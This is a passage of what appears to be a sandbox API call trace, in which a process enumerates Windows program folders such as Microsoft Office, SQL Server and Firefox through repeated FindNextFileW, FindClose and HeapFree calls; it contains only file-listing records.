ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0177.046] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0177.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.046] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0177.046] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0177.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.046] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0 [0177.046] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0177.046] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0177.048] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1 [0177.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.329] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0177.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.333] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0177.333] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0177.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.333] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1 [0177.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.333] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0177.333] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0177.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.335] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0177.335] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0177.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.336] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0177.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.346] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0177.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.357] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1 [0177.363] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.363] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1 [0177.366] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.366] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0177.368] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0177.368] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0 [0177.369] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0177.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0177.719] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0177.750] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.750] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0177.750] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0177.750] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.750] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0177.750] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0177.750] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.752] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0177.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.753] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0 [0177.753] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0177.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.754] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0177.754] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0177.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.755] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0177.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.757] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0177.757] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0177.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0177.757] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0 [0177.757] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0177.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0177.758] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0177.761] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0177.761] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1 [0177.766] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0177.766] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0177.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.769] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0177.769] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0177.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.769] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0 [0177.769] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0177.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0177.769] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1 [0177.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.773] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0177.773] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0177.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.773] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1 [0177.774] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.774] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0177.775] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0177.775] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.775] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1 [0177.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.776] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0177.776] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0177.776] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0177.776] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0177.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0177.778] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 